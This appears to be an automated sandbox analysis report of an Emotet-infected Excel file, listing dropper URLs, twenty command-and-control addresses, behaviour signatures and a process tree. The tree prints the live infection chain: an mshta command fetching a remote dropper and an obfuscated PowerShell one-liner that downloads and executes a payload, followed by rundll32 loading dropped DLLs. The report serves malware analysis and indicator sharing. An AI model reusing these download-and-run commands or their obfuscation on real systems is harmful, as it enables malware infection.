Analysis

  • max time kernel
    121s
  • max time network
    156s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    28/01/2022, 19:11

General

  • Target
    tmpm85ypjlp.xls
  • Size 89KB
  • Sample220128-xvxyeabbgp
  • SHA256 44c8ec7d3b04cf385bfb95fac49bd03c4faa007c199c580e4b37e2a2d670b078
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/ee/ss/se.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/ee/ss/se.png

Extracted

Family
  • emotet

Botnet
  • Epoch5

C2
  • 74.207.230.120:8080

  • 139.196.72.155:8080

  • 37.44.244.177:8080

  • 37.59.209.141:8080

  • 116.124.128.206:8080

  • 217.182.143.207:443

  • 54.37.228.122:443

  • 203.153.216.46:443

  • 168.197.250.14:80

  • 207.148.81.119:8080

  • 195.154.146.35:443

  • 78.46.73.125:443

  • 191.252.103.16:80

  • 210.57.209.142:8080

  • 185.168.130.138:443

  • 142.4.219.173:8080

  • 118.98.72.86:443

  • 78.47.204.80:443

  • 159.69.237.188:443

  • 190.90.233.66:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 24 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpm85ypjlp.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3448
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
        3⤵
          PID:2456
        • C:\Windows\system32\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2176
          • C:\Windows\system32\mshta.exe
            mshta http://91.240.118.172/ee/ss/se.html
            4⤵
            • Blocklisted process makes network request
            • Suspicious use of WriteProcessMemory
            PID:4064
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1772
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1728
                • C:\Windows\SysWow64\rundll32.exe
                  C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
                  7⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:2120
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
                    8⤵
                    • Loads dropped DLL
                    • Drops file in System32 directory
                    • Suspicious use of WriteProcessMemory
                    PID:4052
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Zwioso\hlfxjniqidcvfs.cza",cRXbFKtoran
                      9⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1468
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Zwioso\hlfxjniqidcvfs.cza",DllRegisterServer
                        10⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:3820
            • C:\Windows\system32\WerFault.exe
              C:\Windows\system32\WerFault.exe -u -p 4064 -s 1836
              5⤵
              • Program crash
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2768

    Network

          MITRE ATT&CK Enterprise v6

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          Downloads

          memory/1468-608-0x0000000004630000-0x0000000004657000-memory.dmp

          memory/1772-270-0x000001DFE0800000-0x000001DFE09B2000-memory.dmp

          memory/1772-302-0x000001DFF9260000-0x000001DFF92D6000-memory.dmp

          memory/1772-368-0x000001DFE0800000-0x000001DFE09B2000-memory.dmp

          memory/1772-271-0x000001DFE0800000-0x000001DFE09B2000-memory.dmp

          memory/1772-272-0x000001DFF8B60000-0x000001DFF8B82000-memory.dmp

          memory/1772-291-0x000001DFF8DE0000-0x000001DFF8E1C000-memory.dmp

          memory/2120-590-0x0000000003570000-0x0000000003597000-memory.dmp

          memory/3448-116-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

          memory/3448-128-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

          memory/3448-121-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

          memory/3448-118-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

          memory/3448-129-0x00007FF9F7A00000-0x00007FF9F7A10000-memory.dmp

          memory/3448-117-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

          memory/3448-648-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

          memory/3448-647-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

          memory/3448-646-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

          memory/3448-645-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

          memory/3448-115-0x00007FF9FB330000-0x00007FF9FB340000-memory.dmp

          memory/3820-609-0x00000000029E0000-0x0000000002A07000-memory.dmp

          memory/4052-606-0x00000000058A0000-0x00000000058C7000-memory.dmp

          memory/4052-604-0x00000000056E0000-0x0000000005707000-memory.dmp

          memory/4052-600-0x0000000005520000-0x0000000005547000-memory.dmp

          memory/4052-598-0x0000000005440000-0x0000000005467000-memory.dmp

          memory/4052-596-0x0000000005330000-0x0000000005357000-memory.dmp

          memory/4052-593-0x0000000004E10000-0x0000000004E37000-memory.dmp